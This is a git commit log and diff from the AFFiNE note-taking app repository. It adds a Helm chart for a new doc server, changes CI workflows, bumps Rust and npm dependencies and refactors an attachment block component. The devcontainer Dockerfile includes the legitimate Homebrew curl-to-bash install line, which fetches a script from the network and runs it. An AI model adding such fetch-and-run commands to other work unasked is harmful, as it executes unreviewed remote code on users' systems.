fengmk2
8021b89944 fix(server): use ClsInterceptor on websocket (#9859)
https://papooch.github.io/nestjs-cls/considerations/compatibility#websockets
2025-01-23 06:54:23 +00:00
fengmk2
d52d03e1cd refactor(server): print magic link on local dev env (#9864) 2025-01-23 03:39:32 +00:00
EYHN
876d4d9c94 fix(android): fix android nbstore provider (#9865) 2025-01-23 03:39:13 +00:00
CatsJuice
a16b57db48 feat(core): make sidebar others collapsible (#9862) 2025-01-23 03:17:15 +00:00
renovate
ff96a70755 chore: bump up @nestjs/throttler version to v6.4.0 (#9860)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/throttler](https://redirect.github.com/nestjs/throttler) | [`6.3.0` -> `6.4.0`](https://renovatebot.com/diffs/npm/@nestjs%2fthrottler/6.3.0/6.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fthrottler/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fthrottler/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fthrottler/6.3.0/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fthrottler/6.3.0/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/throttler (@&#8203;nestjs/throttler)</summary>

### [`v6.4.0`](https://redirect.github.com/nestjs/throttler/blob/HEAD/CHANGELOG.md#640)

[Compare Source](https://redirect.github.com/nestjs/throttler/compare/v6.3.0...v6.4.0)

##### Minor Changes

-   [`5cb4254`](https://redirect.github.com/nestjs/throttler/commit/5cb4254): Update to allow for support for Nest version 11

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-23 02:37:43 +00:00
L-Sun
4839f0f369 refactor(editor): shadowless TOC with valilla extract css (#9856)
Close [BS-2474](https://linear.app/affine-design/issue/BS-2474/使用shadowlesselement重构toc)

This PR refactor TOC with `ShadowlessElement` and  `@valilla-extract/css`
2025-01-22 16:24:31 +00:00
pengx17
088ae0ac0a feat(electron): backup panel (#9738)
fix PD-2071, PD-2059, PD-2069, PD-2068
2025-01-22 22:52:31 +08:00
akumatus
862a9d0bc4 feat: use footnote for perplexity search results (#9851)
Support issue [BS-2475](https://linear.app/affine-design/issue/BS-2475).

![截屏2025-01-22 16.49.25.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/49febcdf-e403-4a2e-ba99-da36df34e08c.png)
2025-01-22 10:54:01 +00:00
forehalo
f8a515e89a feat(server): user feature model (#9843)
close CLOUD-108
2025-01-22 10:38:04 +00:00
forehalo
994d758c07 feat(server): support selfhost licenses (#8947) 2025-01-22 10:21:07 +00:00
doodlewind
22e424d7de test(editor): fix font style in preset tests (#9847) 2025-01-22 10:00:58 +00:00
pengx17
08f6a22d44 fix(core): linkpreview and imageproxy url should be prefixed with server url (#9838)
fix AF-2150
2025-01-22 09:31:05 +00:00
github-actions[bot]
795c5c9a8c chore(i18n): sync translations (#9846)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-22 09:16:53 +00:00
liuyi
8569ac86df fix(server): react email deps (#9850) 2025-01-22 16:50:23 +08:00
CatsJuice
f7f1a6ee11 chore(core): update oauth icons (#9796) 2025-01-22 07:49:58 +00:00
forehalo
5828eb53b6 feat(core): support one time password (#9798) 2025-01-22 07:33:10 +00:00
donteatfriedrice
bf797c7a0c feat(editor): support footnote adapter (#9844)
[BS-2373](https://linear.app/affine-design/issue/BS-2373/适配-footnote-adapter)
2025-01-22 06:42:35 +00:00
github-actions[bot]
a5025cf470 chore(i18n): sync translations (#9842)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-22 06:41:39 +00:00
2429 changed files with 69757 additions and 40945 deletions

View File

@@ -1,5 +1,6 @@
FROM mcr.microsoft.com/devcontainers/base:bookworm
USER vscode
# Install Homebrew For Linux
RUN /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && \
eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" && \

View File

@@ -1,4 +1,3 @@
DATABASE_LOCATION=./postgres
DB_PASSWORD=affine
DB_USERNAME=affine
DB_DATABASE_NAME=affine

View File

@@ -47,18 +47,21 @@ const replicaConfig = {
graphql: Number(process.env.PRODUCTION_GRAPHQL_REPLICA) || 3,
sync: Number(process.env.PRODUCTION_SYNC_REPLICA) || 3,
renderer: Number(process.env.PRODUCTION_RENDERER_REPLICA) || 3,
doc: Number(process.env.PRODUCTION_DOC_REPLICA) || 3,
},
beta: {
web: 2,
graphql: Number(process.env.BETA_GRAPHQL_REPLICA) || 2,
sync: Number(process.env.BETA_SYNC_REPLICA) || 2,
renderer: Number(process.env.BETA_RENDERER_REPLICA) || 2,
doc: Number(process.env.BETA_DOC_REPLICA) || 2,
},
canary: {
web: 2,
graphql: 2,
sync: 2,
renderer: 2,
doc: 2,
},
};
@@ -67,12 +70,14 @@ const cpuConfig = {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
canary: {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
};
@@ -111,6 +116,7 @@ const createHelmCommand = ({ isDryRun }) => {
`--set web.resources.requests.cpu="${cpu.web}"`,
`--set graphql.resources.requests.cpu="${cpu.graphql}"`,
`--set sync.resources.requests.cpu="${cpu.sync}"`,
`--set doc.resources.requests.cpu="${cpu.doc}"`,
]
: [];
@@ -168,6 +174,9 @@ const createHelmCommand = ({ isDryRun }) => {
`--set-string renderer.image.tag="${imageTag}"`,
`--set renderer.app.host=${host}`,
`--set renderer.replicaCount=${replica.renderer}`,
`--set-string doc.image.tag="${imageTag}"`,
`--set doc.app.host=${host}`,
`--set doc.replicaCount=${replica.doc}`,
...serviceAnnotations,
...resources,
`--timeout 10m`,

View File

@@ -0,0 +1,11 @@
apiVersion: v2
name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0
repository: "file://../gcloud-sql-proxy"
condition: .global.database.gcloud.enabled

View File

@@ -0,0 +1,16 @@
1. Get the application URL by running these commands:
{{- if contains "NodePort" .Values.service.type }}
export NODE_PORT=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ include "doc.fullname" . }})
export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath="{.items[0].status.addresses[0].address}")
echo http://$NODE_IP:$NODE_PORT
{{- else if contains "LoadBalancer" .Values.service.type }}
NOTE: It may take a few minutes for the LoadBalancer IP to be available.
You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w {{ include "doc.fullname" . }}'
export SERVICE_IP=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include "doc.fullname" . }} --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}")
echo http://$SERVICE_IP:{{ .Values.service.port }}
{{- else if contains "ClusterIP" .Values.service.type }}
export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "doc.name" . }},app.kubernetes.io/instance={{ .Release.Name }}" -o jsonpath="{.items[0].metadata.name}")
export CONTAINER_PORT=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath="{.spec.containers[0].ports[0].containerPort}")
echo "Visit http://127.0.0.1:8080 to use your application"
kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT
{{- end }}

View File

@@ -0,0 +1,63 @@
{{/*
Expand the name of the chart.
*/}}
{{- define "doc.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Create a default fully qualified app name.
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
If release name contains chart name it will be used as a full name.
*/}}
{{- define "doc.fullname" -}}
{{- if .Values.fullnameOverride }}
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- $name := default .Chart.Name .Values.nameOverride }}
{{- if contains $name .Release.Name }}
{{- .Release.Name | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
{{- end }}
{{- end }}
{{- end }}
{{/*
Create chart name and version as used by the chart label.
*/}}
{{- define "doc.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Common labels
*/}}
{{- define "doc.labels" -}}
helm.sh/chart: {{ include "doc.chart" . }}
{{ include "doc.selectorLabels" . }}
{{- if .Chart.AppVersion }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
{{- end }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
monitoring: enabled
{{- end }}
{{/*
Selector labels
*/}}
{{- define "doc.selectorLabels" -}}
app.kubernetes.io/name: {{ include "doc.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}
{{/*
Create the name of the service account to use
*/}}
{{- define "doc.serviceAccountName" -}}
{{- if .Values.serviceAccount.create }}
{{- default (include "doc.fullname" .) .Values.global.docService.name }}
{{- else }}
{{- default "default" .Values.global.docService.name }}
{{- end }}
{{- end }}

View File

@@ -0,0 +1,105 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
{{- include "doc.selectorLabels" . | nindent 6 }}
template:
metadata:
{{- with .Values.podAnnotations }}
annotations:
{{- toYaml . | nindent 8 }}
{{- end }}
labels:
{{- include "doc.selectorLabels" . | nindent 8 }}
spec:
{{- with .Values.imagePullSecrets }}
imagePullSecrets:
{{- toYaml . | nindent 8 }}
{{- end }}
serviceAccountName: {{ include "doc.serviceAccountName" . }}
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
env:
- name: AFFINE_PRIVATE_KEY
valueFrom:
secretKeyRef:
name: "{{ .Values.global.secret.secretName }}"
key: key
- name: NODE_ENV
value: "{{ .Values.env }}"
- name: NODE_OPTIONS
value: "--max-old-space-size=4096"
- name: NO_COLOR
value: "1"
- name: DEPLOYMENT_TYPE
value: "affine"
- name: SERVER_FLAVOR
value: "doc"
- name: AFFINE_ENV
value: "{{ .Release.Namespace }}"
- name: DATABASE_PASSWORD
valueFrom:
secretKeyRef:
name: pg-postgresql
key: postgres-password
- name: DATABASE_URL
value: postgres://{{ .Values.global.database.user }}:$(DATABASE_PASSWORD)@{{ .Values.global.database.url }}:{{ .Values.global.database.port }}/{{ .Values.global.database.name }}
- name: REDIS_SERVER_ENABLED
value: "true"
- name: REDIS_SERVER_HOST
value: "{{ .Values.global.redis.host }}"
- name: REDIS_SERVER_PORT
value: "{{ .Values.global.redis.port }}"
- name: REDIS_SERVER_USER
value: "{{ .Values.global.redis.username }}"
- name: REDIS_SERVER_PASSWORD
valueFrom:
secretKeyRef:
name: redis
key: redis-password
- name: REDIS_SERVER_DATABASE
value: "{{ .Values.global.redis.database }}"
- name: AFFINE_SERVER_PORT
value: "{{ .Values.global.docService.port }}"
- name: AFFINE_SERVER_SUB_PATH
value: "{{ .Values.app.path }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: AFFINE_SERVER_HTTPS
value: "{{ .Values.app.https }}"
ports:
- name: http
containerPort: {{ .Values.global.docService.port }}
protocol: TCP
livenessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
readinessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
resources:
{{- toYaml .Values.resources | nindent 12 }}
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.affinity }}
affinity:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.tolerations }}
tolerations:
{{- toYaml . | nindent 8 }}
{{- end }}

View File

@@ -0,0 +1,19 @@
apiVersion: v1
kind: Service
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.service.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
spec:
type: {{ .Values.service.type }}
ports:
- port: {{ .Values.global.docService.port }}
targetPort: http
protocol: TCP
name: http
selector:
{{- include "doc.selectorLabels" . | nindent 4 }}

View File

@@ -0,0 +1,12 @@
{{- if .Values.serviceAccount.create -}}
apiVersion: v1
kind: ServiceAccount
metadata:
name: {{ include "doc.serviceAccountName" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.serviceAccount.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
{{- end }}

View File

@@ -0,0 +1,15 @@
apiVersion: v1
kind: Pod
metadata:
name: "{{ include "doc.fullname" . }}-test-connection"
labels:
{{- include "doc.labels" . | nindent 4 }}
annotations:
"helm.sh/hook": test
spec:
containers:
- name: wget
image: busybox
command: ['wget']
args: ['{{ include "doc.fullname" . }}:{{ .Values.global.docService.port }}']
restartPolicy: Never

View File

@@ -0,0 +1,37 @@
replicaCount: 1
image:
repository: ghcr.io/toeverything/affine-graphql
pullPolicy: IfNotPresent
tag: ''
imagePullSecrets: []
nameOverride: ''
fullnameOverride: ''
# map to NODE_ENV environment variable
env: 'production'
app:
# AFFINE_SERVER_SUB_PATH
path: ''
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
serviceAccount:
create: true
annotations: {}
podAnnotations: {}
podSecurityContext:
fsGroup: 2000
resources:
requests:
cpu: '2'
memory: 4Gi
probe:
initialDelaySeconds: 20
nodeSelector: {}
tolerations: []
affinity: {}

View File

@@ -116,8 +116,8 @@ spec:
secretKeyRef:
name: "{{ .Values.app.payment.stripe.secretName }}"
key: stripeWebhookKey
- name: DOC_MERGE_INTERVAL
value: "{{ .Values.app.doc.mergeInterval }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
{{ if .Values.app.experimental.enableJwstCodec }}
- name: DOC_MERGE_USE_JWST_CODEC
value: "true"

View File

@@ -17,8 +17,6 @@ app:
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
doc:
mergeInterval: "3000"
captcha:
enabled: false
secretName: captcha

View File

@@ -94,6 +94,8 @@ spec:
name: "{{ .Values.global.objectStorage.r2.secretName }}"
key: secretAccessKey
{{ end }}
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}

View File

@@ -73,6 +73,8 @@ spec:
value: "{{ .Values.service.port }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}

View File

@@ -39,6 +39,9 @@ global:
secretAccessKey: ''
gke:
enabled: true
docService:
name: 'affine-doc'
port: 3020
graphql:
service:
@@ -61,6 +64,12 @@ renderer:
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
doc:
service:
type: ClusterIP
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
web:
service:
type: ClusterIP

View File

@@ -28,7 +28,7 @@ jobs:
extra-flags: workspaces focus @affine/server
- name: Build Server
run: |
rm -rf packages/backend/server/src/__tests__
find packages/backend/server -type d -name "__tests__" -exec rm -rf {} +
yarn workspace @affine/server build
- name: Upload server dist
uses: actions/upload-artifact@v4

View File

@@ -118,6 +118,26 @@ jobs:
- name: Run Type Check
run: yarn typecheck
lint-rust:
name: Lint Rust
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- uses: ./.github/actions/build-rust
with:
no-build: 'true'
- name: fmt check
run: |
rustup toolchain add nightly
rustup component add --toolchain nightly-x86_64-unknown-linux-gnu rustfmt
cargo +nightly fmt --all -- --check
- name: Clippy
run: |
rustup component add clippy
cargo clippy --all-targets --all-features -- -D warnings
check-yarn-binary:
name: Check yarn binary
runs-on: ubuntu-latest
@@ -155,7 +175,7 @@ jobs:
run: yarn workspace @blocksuite/legacy-e2e test --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-legacy-bs-${{ matrix.shard }}
@@ -187,7 +207,7 @@ jobs:
run: yarn affine @affine-test/affine-local e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.shard }}
@@ -219,7 +239,7 @@ jobs:
run: yarn affine @affine-test/affine-mobile e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-mobile-${{ matrix.shard }}
@@ -308,6 +328,7 @@ jobs:
package: '@affine/native'
- name: Upload ${{ steps.filename.outputs.filename }}
uses: actions/upload-artifact@v4
if: always()
with:
name: ${{ steps.filename.outputs.filename }}
path: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}/packages/frontend/native/${{ steps.filename.outputs.filename }}
@@ -334,6 +355,7 @@ jobs:
package: '@affine/server-native'
- name: Upload server-native.node
uses: actions/upload-artifact@v4
if: always()
with:
name: server-native.node
path: ./packages/backend/native/server-native.node
@@ -359,6 +381,7 @@ jobs:
run: tar -czf dist.tar.gz --directory=packages/frontend/apps/electron-renderer/dist .
- name: Upload web artifact
uses: actions/upload-artifact@v4
if: always()
with:
name: web
path: dist.tar.gz
@@ -371,6 +394,11 @@ jobs:
- optimize_ci
- build-server-native
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
node_index: [0, 1, 2]
total_nodes: [3]
env:
NODE_ENV: test
DISTRIBUTION: web
@@ -420,6 +448,8 @@ jobs:
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: 'use_fake_openai_api_key'
CI_NODE_INDEX: ${{ matrix.node_index }}
CI_NODE_TOTAL: ${{ matrix.total_nodes }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v5
@@ -594,8 +624,7 @@ jobs:
with:
filters: |
changed:
- 'packages/frontend/core/src/blocksuite/presets/ai/**'
- 'packages/frontend/core/src/components/blocksuite/block-suite-editor/ai/**'
- 'packages/frontend/core/src/blocksuite/ai/**'
- 'tests/affine-cloud-copilot/**'
- name: Setup Node.js
@@ -640,12 +669,16 @@ jobs:
matrix:
tests:
- name: 'Server E2E Test 1/3'
shard: 1
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=1/3
- name: 'Server E2E Test 2/3'
shard: 2
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=2/3
- name: 'Server E2E Test 3/3'
shard: 3
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=3/3
- name: 'Server Desktop E2E Test'
shard: desktop
script: |
yarn affine @affine/electron build:dev
# Workaround for Electron apps failing to initialize on Ubuntu 24.04 due to AppArmor restrictions
@@ -708,10 +741,10 @@ jobs:
COPILOT_PERPLEXITY_API_KEY: 1
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-server
name: test-results-e2e-server-${{ matrix.tests.shard }}
path: ./test-results
if-no-files-found: ignore
@@ -833,7 +866,7 @@ jobs:
yarn affine @affine/electron node ./scripts/macos-arm64-output-check.ts
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.spec.os }}-${{ matrix.spec.arch }}
@@ -855,6 +888,7 @@ jobs:
needs:
- analyze
- lint
- lint-rust
- check-yarn-binary
- e2e-test
- e2e-legacy-blocksuite-test

View File

@@ -231,7 +231,7 @@ jobs:
- name: Build
run: |
echo -n "${{ env.AFFINE_ANDROID_SIGN_KEYSTORE }}" | base64 --decode > packages/frontend/apps/android/affine.keystore
yarn workspace @affine/android cap build android
yarn workspace @affine/android cap build android --flavor ${{ env.BUILD_TYPE }} --androidreleasetype AAB
env:
AFFINE_ANDROID_KEYSTORE_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_PASSWORD }}
AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD }}
@@ -243,7 +243,7 @@ jobs:
with:
serviceAccountJson: ${{ steps.auth.outputs.credentials_file_path }}
packageName: app.affine.pro
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/release/app-release-signed.aab
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/${{ env.BUILD_TYPE }}Release/app-${{ env.BUILD_TYPE }}-release-signed.aab
track: internal
status: draft
existingEditId: ${{ steps.bump.outputs.EDIT_ID }}

View File

@@ -1,23 +0,0 @@
name: Deploy Cloudflare Worker
on:
push:
branches:
- canary
paths:
- tools/workers/**
jobs:
deploy:
runs-on: ubuntu-latest
name: Deploy
environment: stable
steps:
- uses: actions/checkout@v4
- name: Publish
uses: cloudflare/wrangler-action@v3.13.1
with:
apiToken: ${{ secrets.CF_API_TOKEN }}
accountId: ${{ secrets.CF_ACCOUNT_ID }}
workingDirectory: 'tools/workers'
packageManager: 'yarn'

2
.nvmrc
View File

@@ -1 +1 @@
22.13.0
22.14.0

View File

@@ -29,6 +29,7 @@ test-results
tools/cli/src/webpack/error-handler.js
packages/backend/native/index.d.ts
packages/backend/server/src/__tests__/__snapshots__
packages/common/native/fixtures/**
packages/frontend/native/index.d.ts
packages/frontend/native/index.js
packages/frontend/graphql/src/graphql/index.ts

640
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -19,17 +19,17 @@ chrono = "0.4"
criterion2 = { version = "2", default-features = false }
dotenvy = "0.15"
file-format = { version = "0.26", features = ["reader"] }
homedir = "0.3"
mimalloc = "0.1"
napi = { version = "3.0.0-alpha.12", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-alpha.12" }
notify = { version = "8", features = ["serde"] }
objc2 = "0.5.2"
objc2-foundation = "0.2.2"
objc2 = "0.6"
objc2-foundation = "0.3"
once_cell = "1"
parking_lot = "0.12"
homedir = "0.3"
rand = "0.8"
rand = "0.9"
rayon = "1.10"
serde = "1"
serde_json = "1"
@@ -38,7 +38,7 @@ sqlx = { version = "0.8", default-features = false, features = ["chr
thiserror = "2"
tiktoken-rs = "0.6"
tokio = "1.37"
uniffi = "0.28"
uniffi = "0.29"
uuid = "1.8"
v_htmlescape = "0.15"
y-octo = { git = "https://github.com/y-crdt/y-octo.git", branch = "main" }

View File

@@ -17,7 +17,6 @@
"@blocksuite/blocks": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/inline": "workspace:*",
"@blocksuite/presets": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*"
},
@@ -37,7 +36,6 @@
"./inline": "./src/inline/index.ts",
"./inline/consts": "./src/inline/consts.ts",
"./inline/types": "./src/inline/types.ts",
"./presets": "./src/presets/index.ts",
"./blocks": "./src/blocks/index.ts",
"./blocks/schemas": "./src/blocks/schemas.ts",
"./sync": "./src/sync/index.ts"
@@ -83,9 +81,6 @@
"inline/types": [
"dist/inline/types.d.ts"
],
"presets": [
"dist/presets/index.d.ts"
],
"blocks": [
"dist/blocks/index.d.ts"
],

View File

@@ -1,7 +1,5 @@
import { effects as blocksEffects } from '@blocksuite/blocks/effects';
import { effects as presetsEffects } from '@blocksuite/presets/effects';
export function effects() {
blocksEffects();
presetsEffects();
}

View File

@@ -1 +0,0 @@
export * from '@blocksuite/presets';

View File

@@ -11,7 +11,6 @@
{ "path": "../../blocks" },
{ "path": "../../framework/global" },
{ "path": "../../framework/inline" },
{ "path": "../../presets" },
{ "path": "../../framework/store" },
{ "path": "../../framework/sync" }
]

View File

@@ -26,7 +26,7 @@
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"file-type": "^20.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",

View File

@@ -3,7 +3,7 @@ import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import { HoverController } from '@blocksuite/affine-components/hover';
import {
AttachmentIcon16,
getAttachmentFileIcons,
getAttachmentFileIcon,
} from '@blocksuite/affine-components/icons';
import { Peekable } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
@@ -11,13 +11,12 @@ import {
type AttachmentBlockModel,
AttachmentBlockStyles,
} from '@blocksuite/affine-model';
import { ThemeProvider } from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import {
BlockSelection,
SurfaceSelection,
TextSelection,
} from '@blocksuite/block-std';
FileSizeLimitService,
ThemeProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import { BlockSelection, TextSelection } from '@blocksuite/block-std';
import { Slice } from '@blocksuite/store';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
@@ -26,25 +25,19 @@ import { classMap } from 'lit/directives/class-map.js';
import { ref } from 'lit/directives/ref.js';
import { styleMap } from 'lit/directives/style-map.js';
import type { AttachmentBlockService } from './attachment-service.js';
import { AttachmentOptionsTemplate } from './components/options.js';
import { AttachmentEmbedProvider } from './embed.js';
import { styles } from './styles.js';
import { checkAttachmentBlob, downloadAttachmentBlob } from './utils.js';
@Peekable()
export class AttachmentBlockComponent extends CaptionedBlockComponent<
AttachmentBlockModel,
AttachmentBlockService
> {
export class AttachmentBlockComponent extends CaptionedBlockComponent<AttachmentBlockModel> {
static override styles = styles;
protected _isDragging = false;
protected _isResizing = false;
protected _isSelected = false;
protected _whenHover: HoverController | null = new HoverController(
this,
({ abortController }) => {
@@ -90,10 +83,14 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
margin: '18px 0px',
});
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
convertTo = () => {
return this.std
.get(AttachmentEmbedProvider)
.convertTo(this.model, this.service.maxFileSize);
.convertTo(this.model, this._maxFileSize);
};
copy = () => {
@@ -109,7 +106,7 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
embedded = () => {
return this.std
.get(AttachmentEmbedProvider)
.embedded(this.model, this.service.maxFileSize);
.embedded(this.model, this._maxFileSize);
};
open = () => {
@@ -126,7 +123,7 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
protected get embedView() {
return this.std
.get(AttachmentEmbedProvider)
.render(this.model, this.blobUrl, this.service.maxFileSize);
.render(this.model, this.blobUrl, this._maxFileSize);
}
private _selectBlock() {
@@ -170,26 +167,21 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
// this is required to prevent iframe from capturing pointer events
this.disposables.add(
this.std.selection.slots.changed.on(() => {
this._isSelected =
!!this.selected?.is(BlockSelection) ||
!!this.selected?.is(SurfaceSelection);
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this.selected$.subscribe(selected => {
this._showOverlay = this._isResizing || this._isDragging || !selected;
})
);
// this is required to prevent iframe from capturing pointer events
this.handleEvent('dragStart', () => {
this._isDragging = true;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
});
this.handleEvent('dragEnd', () => {
this._isDragging = false;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
});
}
@@ -226,7 +218,7 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
const infoText = this.error ? 'File loading failed.' : humanFileSize(size);
const fileType = name.split('.').pop() ?? '';
const FileTypeIcon = getAttachmentFileIcons(fileType);
